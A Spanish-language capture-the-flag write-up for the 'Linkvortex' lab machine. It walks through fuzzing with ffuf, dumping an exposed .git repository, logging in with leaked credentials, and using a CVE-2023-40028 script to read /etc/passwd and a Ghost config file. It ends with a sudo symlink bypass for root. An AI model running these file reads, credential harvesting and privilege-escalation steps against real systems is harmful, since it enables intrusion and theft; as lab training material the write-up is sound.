Linkvortex



Buscando subdominios:
┌──(docker㉿docker)-[~/HackBox]
└─$ ffuf -u http://linkvortex.htb/ -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host:FUZZ.linkvortex.htb" -mc 200

Ahora buscamos directorios:
┌──(docker㉿docker)-[~/HackBox]
└─$ ffuf -u http://linkvortex.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt -mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://linkvortex.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
LICENSE [Status: 200, Size: 1065, Words: 149, Lines: 23, Duration: 195ms]
favicon.ico [Status: 200, Size: 15406, Words: 43, Lines: 2, Duration: 197ms]
robots.txt [Status: 200, Size: 121, Words: 7, Lines: 7, Duration: 155ms]
sitemap.xml [Status: 200, Size: 527, Words: 6, Lines: 1, Duration: 174ms]
Se encontro un
/robots.txt
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Ingrese /ghost
la ruta, hay una página de inicio de sesión

dev.linkvortex.htb
Realizar un escaneo de directorio en
dirsearch -u dev.linkvortex.htb -t 50 -i 200

Entonces, podemos ver que encontramos directorios git en el subdominio dev. Ahora, usaremos Githack para volcar los archivos git.
Comparto el enlace del repositorio de GitHub: “ https://github.com/lijiejie/GitHack ” .
Primero, visitaremos los directorios git que encontramos.
python GitHack.py -u "http://dev.linkvortex.htb/.git/"
Obtuvimos el nombre de archivo “ ghost/core/test/regression/api/admin/authentication.test.js”. Ahora, veamos el archivo usando cat
.

Puedes encontrar que hay algunas password
palabras clave en él.
Puedes iniciar sesión usando tu primera contraseña
username: admin@linkvortex.htb
password: OctopiFociPilfer45

A través de Wappalyzer
la extensión, puede encontrar que la GhostCMS
versión actual es5.58
Usuario
CVE-2023-40028
Buscando en Google encontré esto
Ejecutando:
└─$ ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
❯ ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Ahora, visite el archivo usando este comando:
"cat /var/lib/ghost/config.production.json"

Ahora puedes ver que encontramos el usuario " bob@linkvortex.htb
”
y la contraseña " fibber-talented-worth"
. Es hora de establecer una conexión SSH.
└─$ ssh bob@linkvortex.htb
Raíz
Verifique los permisos de comando de Bob
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Ver esto/opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Si el sufijo del nombre del archivo es .png
y el archivo es un enlace simbólico y la ruta de destino no contiene etc
oroot
(es decir, el destino no es un archivo confidencial), el script:
Mueva el enlace simbólico al
/var/quarantined
directorio.Si es así
CHECK_CONTENT=true
, el script intentará generar el contenido del archivo.
Luego cree un enlace simbólico y conéctese a root.txt. Dado que el script verificará los parámetros, puede usar un enlace secundario para omitirlo y CHECK_CONTENT
configurarlo como verdadero.
Last updated